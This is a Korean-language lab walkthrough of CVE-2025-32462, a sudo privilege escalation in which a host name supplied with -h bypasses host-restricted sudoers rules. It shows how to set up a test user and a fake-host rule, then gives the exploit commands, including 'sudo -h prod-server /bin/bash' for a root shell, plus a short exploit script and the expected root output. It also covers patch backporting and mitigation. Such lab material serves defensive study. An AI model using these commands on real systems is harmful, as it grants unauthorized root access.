
CVE-2025-32462는 sudo의 로컬 권한 상승 취약점입니다.
CVE-2025-32462는 sudo의 로컬 권한 상승 취약점으로, 호스트 이름으로 제한된 sudo 규칙을 악용하여 낮은 권한의 사용자가 root로 명령을 실행할 수 있게 합니다. 이 문제는 sudo가 인증 검사 중 -h(호스트) 옵션을 처리해 온 방식에 있습니다.
sudoers 규칙이 특정 호스트 이름으로 제한된 경우, sudo는 시스템 호스트 이름이 규칙과 일치할 때만 실행을 허용해야 합니다. 결함이 있는 논리로 인해 영향을 받는 버전은 sudo -h를 통해 사용자가 제공한 호스트 이름을 신뢰하여 공격자가 제한을 완전히 우회할 수 있게 했습니다.
sudo는 -h <hostname> 인수가 인증 결정에 영향을 미치는 것을 허용했습니다. 취약한 버전에서는 시스템의 실제 호스트 이름에 대해 엄격하게 검증하는 대신 sudoers 규칙 평가 중에 제공된 호스트 이름을 신뢰했습니다.
그 결과, 호스트 기반 sudo 제한을 우회할 수 있었습니다.
성공적으로 악용하면 로컬 공격자는 다음을 수행할 수 있습니다:
실제 환경에서 이 취약점은 특히 다음 환경에서 위험합니다:
| Component | Details |
|---|---|
| OS | Debian 11 (Bullseye – unpatched) |
| sudo Version | ≤ 1.9.13 |
| Access Level | Local user |
| Virtualization | VirtualBox |
⚠️ 참고: 최신 Ubuntu 및 Debian 릴리스는 유사한 버전 문자열을 유지하면서 패치를 백포트했습니다. 이 취약점은 패치된 시스템에서 재현할 수 없습니다.
sudo --version
예상 결과(취약한 경우):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
예상 결과:
attacker : attacker
사용자는 sudo 그룹에 속하지 않아야 합니다.
sudoers를 안전하게 편집합니다:
sudo visudo
다음 줄을 추가합니다:
attacker prod-server = (root) ALL
prod-server는 가짜 호스트 이름입니다확인:
sudo -l -U attacker
예상 결과:
User attacker may run the following commands on prod-server:
(root) ALL
사용자 전환:
su - attacker
일반적인 방법으로 sudo를 시도합니다:
sudo id
예상 결과:
attacker is not allowed to run sudo on <hostname>
취약점을 트리거합니다:
sudo -h prod-server id
성공적인 악용 출력:
uid=0(root) gid=0(root) groups=0(root)
root 셸 실행:
sudo -h prod-server /bin/bash
확인:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
exploit.sh로 저장하고 실행 권한을 부여한 다음 attacker 사용자로 실행합니다:
chmod +x exploit.sh
./exploit.sh
| Action | Result |
|---|---|
| Normal sudo | ❌ Denied |
sudo -h prod-server id | ✅ Root |
이는 성공적인 권한 상승을 확인합니다.
최신 Ubuntu 릴리스는 영향을 받는 범위에 속하는 sudo 버전을 제공하는 것으로 보입니다. 그러나 Ubuntu는 업스트림 버전 문자열을 변경하지 않고 CVE-2025-32462에 대한 보안 수정을 백포트했습니다.
그 결과:
sudo -h 옵션은 더 이상 인증 검사에 영향을 미치지 않습니다이는 버전 문자열만으로 판단하지 않고 동작 기반 테스트를 사용하여 취약점 상태를 검증하는 것의 중요성을 강조합니다.
sudo를 패치된 버전으로 업그레이드합니다이 실습 가이드는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 평가 허가를 받지 않은 시스템에서 이 취약점을 테스트하지 마십시오.